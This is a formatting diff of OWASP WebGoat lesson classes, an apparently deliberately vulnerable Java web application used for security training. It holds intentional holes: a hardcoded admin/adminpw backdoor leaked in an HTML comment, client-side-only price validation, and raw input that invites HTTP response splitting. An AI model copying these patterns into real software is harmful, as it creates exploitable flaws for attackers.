* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
*/
public class HiddenFieldTampering extends LessonAdapter
{
public final static A ASPECT_LOGO =
new A().setHref("http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg")
.setAlt("Aspect Security").setBorder(0)
.setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String PRICE = "Price";
@ -69,14 +67,14 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit!
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit!
Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator");
String script =
"<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
+" document.form." + PRICE + ".value = " + PRICE_TV + ";}"
+ lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
+ " document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "else document.form.submit();"
+ lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
/**
* Constructor for the HiddenFieldScreen object
@ -104,8 +102,7 @@ public class HiddenFieldTampering extends LessonAdapter
price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price);
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Invaild data " + this.getClass().getName());
price = PRICE_TV;
@ -162,7 +159,8 @@ public class HiddenFieldTampering extends LessonAdapter
ec.addElement(input);
ec.addElement(new BR());
} else
}
else
{
if (!price.toString().equals(PRICE_TV))
{
@ -212,8 +210,7 @@ public class HiddenFieldTampering extends LessonAdapter
*/
public String getInstructions(WebSession s)
{
String instructions =
"Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
String instructions = "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
return (instructions);
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -17,36 +17,34 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -55,7 +53,10 @@ import org.owasp.webgoat.session.WebSession;
*/
public class HtmlClues extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Field
@ -67,11 +68,11 @@ public class HtmlClues extends LessonAdapter
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private boolean backdoor(WebSession s)
@ -79,16 +80,16 @@ public class HtmlClues extends LessonAdapter
String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, "");
//<START_OMIT_SOURCE>
// <START_OMIT_SOURCE>
return (username.equals("admin") && password.equals("adminpw"));
//<END_OMIT_SOURCE>
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -97,9 +98,9 @@ public class HtmlClues extends LessonAdapter
try
{
//<START_OMIT_SOURCE>
// <START_OMIT_SOURCE>
ec.addElement(new Comment("FIXME admin:adminpw"));
//<END_OMIT_SOURCE>
// <END_OMIT_SOURCE>
ec.addElement(new Comment("Use Admin to regenerate database"));
if (backdoor(s))
@ -113,8 +114,7 @@ public class HtmlClues extends LessonAdapter
{
ec.addElement(makeLogin(s));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
@ -122,35 +122,34 @@ public class HtmlClues extends LessonAdapter
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @param method Description of the Parameter
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @param method
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception Description of the Exception
* @exception Exception
* Description of the Exception
*/
protected Element makeUser(WebSession s, String user, String method)
throws Exception
protected Element makeUser(WebSession s, String user, String method) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with "
+ method));
ec.addElement(new P().addElement("You have been authenticated with " + method));
return (ec);
}
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -158,10 +157,8 @@ public class HtmlClues extends LessonAdapter
}
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
tr.addElement(new TH()
.addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
@ -192,7 +189,6 @@ public class HtmlClues extends LessonAdapter
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
@ -201,16 +197,13 @@ public class HtmlClues extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("You can view the HTML source by selecting 'view source' in the browser menu.");
hints.add("You can view the HTML source by selecting 'view source' in the browser menu.");
hints.add("There are lots of clues in the HTML");
hints
.add("Search for the word HIDDEN, look at URLs, look for comments.");
hints.add("Search for the word HIDDEN, look at URLs, look for comments.");
return hints;
}
/**
* Gets the instructions attribute of the HtmlClues object
*
@ -225,13 +218,11 @@ public class HtmlClues extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
@ -242,7 +233,6 @@ public class HtmlClues extends LessonAdapter
return Category.CODE_QUALITY;
}
/**
* Gets the title attribute of the CluesScreen object
*

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -10,32 +10,31 @@ import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -46,11 +45,11 @@ public class HttpBasics extends LessonAdapter
{
private final static String PERSON = "person";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -62,8 +61,7 @@ public class HttpBasics extends LessonAdapter
{
ec.addElement(new StringElement("Enter your name: "));
person = new StringBuffer(s.getParser().getStringParameter(PERSON,
""));
person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
person.reverse();
Input input = new Input(Input.TEXT, PERSON, person.toString());
@ -71,15 +69,13 @@ public class HttpBasics extends LessonAdapter
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
if (!person.toString().equals("")
&& getLessonTracker(s).getNumVisits() > 3)
if (!person.toString().equals("") && getLessonTracker(s).getNumVisits() > 3)
{
makeSuccess(s);
}
@ -87,7 +83,6 @@ public class HttpBasics extends LessonAdapter
return (ec);
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -111,19 +106,16 @@ public class HttpBasics extends LessonAdapter
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
/**
* Gets the title attribute of the HelloScreen object
*

View File

@ -1,12 +1,11 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.security.MessageDigest;
import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -18,40 +17,43 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
import sun.misc.BASE64Encoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class HttpOnly extends LessonAdapter {
public class HttpOnly extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static Integer DEFAULT_RANKING = new Integer(125);
@ -82,7 +84,7 @@ public class HttpOnly extends LessonAdapter {
*/
public String getTitle()
{
return ( "HTTPOnly Test" );
return ("HTTPOnly Test");
}
protected Integer getDefaultRanking()
@ -93,11 +95,12 @@ public class HttpOnly extends LessonAdapter {
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent( WebSession s )
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String action = null;
@ -106,42 +109,50 @@ public class HttpOnly extends LessonAdapter {
http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION);
if(http != null) {
if (http != null)
{
httpOnly = Boolean.parseBoolean(http);
}
if(httpOnly) {
// System.out.println("HttpOnly: Setting HttpOnly for cookie");
if (httpOnly)
{
// System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s);
} else {
// System.out.println("HttpOnly: Removing HttpOnly for cookie");
}
else
{
// System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s);
}
if(action != null) {
if(action.equals(READ)) {
if (action != null)
{
if (action.equals(READ))
{
handleReadAction(s);
} else if(action.equals(WRITE)) {
}
else if (action.equals(WRITE))
{
handleWriteAction(s);
} else {
//s.setMessage("Invalid Request. Please try again.");
}
else
{
// s.setMessage("Invalid Request. Please try again.");
}
}
try
{
ec.addElement(makeContent(s));
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error generating " + this.getClass().getName() );
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ( ec );
return (ec);
}
/**
* DOCUMENT ME!
*
@ -152,7 +163,6 @@ public class HttpOnly extends LessonAdapter {
return Category.XSS;
}
/**
* Gets the hints attribute of the EmailScreen object
*
@ -161,17 +171,19 @@ public class HttpOnly extends LessonAdapter {
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add( "Read the directions and try out the buttons." );
hints.add("Read the directions and try out the buttons.");
return hints;
}
private String createCustomCookieValue() {
private String createCustomCookieValue()
{
String value = null;
byte[] buffer = null;
MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder();
try {
try
{
md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes();
@ -179,42 +191,52 @@ public class HttpOnly extends LessonAdapter {
value = encoder.encode(md.digest());
original = value;
} catch (Exception e) {
} catch (Exception e)
{
e.printStackTrace();
}
return value;
}
private void setHttpOnly(WebSession s) {
private void setHttpOnly(WebSession s)
{
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) {
if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value;
} else {
}
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie;
}
}
private void removeHttpOnly(WebSession s) {
private void removeHttpOnly(WebSession s)
{
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) {
if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value;
} else {
}
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie;
}
}
private ElementContainer makeContent(WebSession s) {
private ElementContainer makeContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
Element r = null;
Table t = null;
@ -238,23 +260,29 @@ public class HttpOnly extends LessonAdapter {
tr = new TR();
tr.addElement( new TD(new StringElement ("Do you wish to turn HTTPOnly on?")));
tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?")));
tr.addElement( new TD(new StringElement ("Yes")));
tr.addElement(new TD(new StringElement("Yes")));
if(httpOnly == true) {
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("Checked", "true");
} else {
r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("onClick", "document.form.submit()");
if (httpOnly == true)
{
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true");
}
else
{
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()");
}
tr.addElement(new TD(r));
tr.addElement( new TD(new StringElement ("No")));
tr.addElement(new TD(new StringElement("No")));
if(httpOnly == false) {
if (httpOnly == false)
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
} else {
}
else
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
}
@ -265,18 +293,13 @@ public class HttpOnly extends LessonAdapter {
t.addElement(tr);
/* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
t.addElement(tr);
if(httpOnly == true) {
tr.addElement(new TD(new StringElement("<div id=\"status\">On</div>")));
} else {
tr.addElement(new TD(new StringElement ("<div id=\"status\">Off</div>")));
}
t.addElement(tr);
t.addElement(new TR(new TD(new StringElement("<br/>"))));
*/ f.addElement(t);
/*
* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
* t.addElement(tr); if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
* id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
* id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
* StringElement("<br/>"))));
*/f.addElement(t);
t = new Table();
tr = new TR();
@ -294,73 +317,107 @@ public class HttpOnly extends LessonAdapter {
return ec;
}
private void handleReadAction(WebSession s) {
private void handleReadAction(WebSession s)
{
String displayed = s.getRequest().getParameter(READ_RESULT);
if(httpOnly == true) {
if(displayed.indexOf(UNIQUE2U) != -1) {
if (httpOnly == true)
{
if (displayed.indexOf(UNIQUE2U) != -1)
{
s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie.");
} else {
}
else
{
s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie.");
if (writeSuccess) {
if (!this.isCompleted(s)) {
if (writeSuccess)
{
if (!this.isCompleted(s))
{
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
} else {
if (!this.isCompleted(s)) {
}
else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true;
}
}
}
} else if(displayed.indexOf(UNIQUE2U) != -1) {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog.");
} else {
}
else if (displayed.indexOf(UNIQUE2U) != -1)
{
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie was displayed in the alert dialog.");
}
else
{
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)");
}
}
private void handleWriteAction(WebSession s) {
private void handleWriteAction(WebSession s)
{
String hacked = s.getCookie(UNIQUE2U);
if(httpOnly == true) {
if(!original.equals(hacked)) {
s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie.");
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side.");
} else {
s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
if (httpOnly == true)
{
if (!original.equals(hacked))
{
s
.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie.");
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked
+ " on the client side.");
}
else
{
s
.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification.");
if (readSuccess) {
if (!this.isCompleted(s)) {
if (readSuccess)
{
if (!this.isCompleted(s))
{
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
} else {
if (!this.isCompleted(s)) {
}
else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true;
}
}
}
} else if(!original.equals(hacked)) {
}
else if (!original.equals(hacked))
{
s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side.");
} else {
}
else
{
s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)");
}
}
private String getJavaScript() {
private String getJavaScript()
{
StringBuffer buffer = new StringBuffer();
buffer.append("<script language=\"javascript\">\n");
@ -379,37 +436,56 @@ public class HttpOnly extends LessonAdapter {
return buffer.toString();
}
private String getBrowserType(WebSession s) {
private String getBrowserType(WebSession s)
{
int offset = -1;
String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase();
if(browser != null) {
if(browser.indexOf("firefox") != -1) {
if (browser != null)
{
if (browser.indexOf("firefox") != -1)
{
browser = browser.substring(browser.indexOf("firefox"));
offset = getOffset(browser);
result = browser.substring(0, offset);
} else if(browser.indexOf("msie 6") != -1) {
}
else if (browser.indexOf("msie 6") != -1)
{
result = "Internet Explorer 6";
} else if(browser.indexOf("msie 7") != -1) {
}
else if (browser.indexOf("msie 7") != -1)
{
result = "Internet Explorer 7";
} else if(browser.indexOf("msie") != -1) {
}
else if (browser.indexOf("msie") != -1)
{
result = "Internet Explorer";
} else if(browser.indexOf("opera") != -1) {
}
else if (browser.indexOf("opera") != -1)
{
result = "Opera";
} else if(browser.indexOf("safari") != -1) {
}
else if (browser.indexOf("safari") != -1)
{
result = "Safari";
} else if(browser.indexOf("netscape") != -1) {
}
else if (browser.indexOf("netscape") != -1)
{
browser = browser.substring(browser.indexOf("netscape"));
offset = getOffset(browser);
result = browser.substring(0, offset);
} else if(browser.indexOf("konqueror") != -1) {
}
else if (browser.indexOf("konqueror") != -1)
{
result = "Konqueror";
} else if(browser.indexOf("mozilla") != -1) {
}
else if (browser.indexOf("mozilla") != -1)
{
result = "Mozilla";
}
}
@ -417,11 +493,14 @@ public class HttpOnly extends LessonAdapter {
return result;
}
private int getOffset(String s) {
private int getOffset(String s)
{
int result = s.length();
for(int i=0; i<s.length(); i++) {
if(s.charAt(i) < 33 || s.charAt(i) > 126) {
for (int i = 0; i < s.length(); i++)
{
if (s.charAt(i) < 33 || s.charAt(i) > 126)
{
result = i;
break;
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
@ -5,40 +6,37 @@ import java.net.URLDecoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.*;
import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.*;
import org.apache.ecs.html.*;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -55,28 +53,26 @@ public class HttpSplitting extends SequentialLessonAdapter
private static String STAGE = "stage";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/**
* Description of the Method
*
* @param s Current WebSession
* @param s
* Current WebSession
*/
public void handleRequest(WebSession s)
{
//Setting a special action to be able to submit to redirect.jsp
Form form = new Form("/WebGoat/lessons/General/redirect.jsp?"
+ "Screen=" + String.valueOf(getScreenId()) + "&menu="
+ getDefaultCategory().getRanking().toString(), Form.POST)
.setName("form").setEncType("");
// Setting a special action to be able to submit to redirect.jsp
Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId())
+ "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s));
setContent(form);
}
protected Element doHTTPSplitting(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -85,21 +81,18 @@ public class HttpSplitting extends SequentialLessonAdapter
try
{
ec.addElement(createAttackEnvironment(s));
lang = URLDecoder.decode(s.getParser()
.getRawParameter(LANGUAGE, ""), "UTF-8");
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
//Check if we are coming from the redirect page
String fromRedirect = s.getParser().getStringParameter(
"fromRedirect", "");
// Check if we are coming from the redirect page
String fromRedirect = s.getParser().getStringParameter("fromRedirect", "");
if (lang.length() != 0 && fromRedirect.length() != 0)
{
//Split by the line separator line.separator is platform independant
// Split by the line separator line.separator is platform independant
String lineSep = System.getProperty("line.separator");
String[] arrTokens = lang.toString().toUpperCase().split(
lineSep);
String[] arrTokens = lang.toString().toUpperCase().split(lineSep);
//Check if the user ended the first request and wrote the second malacious reply
// Check if the user ended the first request and wrote the second malacious reply
if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0
&& Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
@ -118,20 +111,16 @@ public class HttpSplitting extends SequentialLessonAdapter
StringBuffer msg = new StringBuffer();
msg.append("Good Job! ");
msg
.append("This lesson has detected your successfull attack, ");
msg
.append("time to elevate your attack to a higher level. ");
msg
.append("Try again and add Last-Modified header, intercept");
msg.append("This lesson has detected your successfull attack, ");
msg.append("time to elevate your attack to a higher level. ");
msg.append("Try again and add Last-Modified header, intercept");
msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString());
}
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -139,25 +128,21 @@ public class HttpSplitting extends SequentialLessonAdapter
return (ec);
}
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
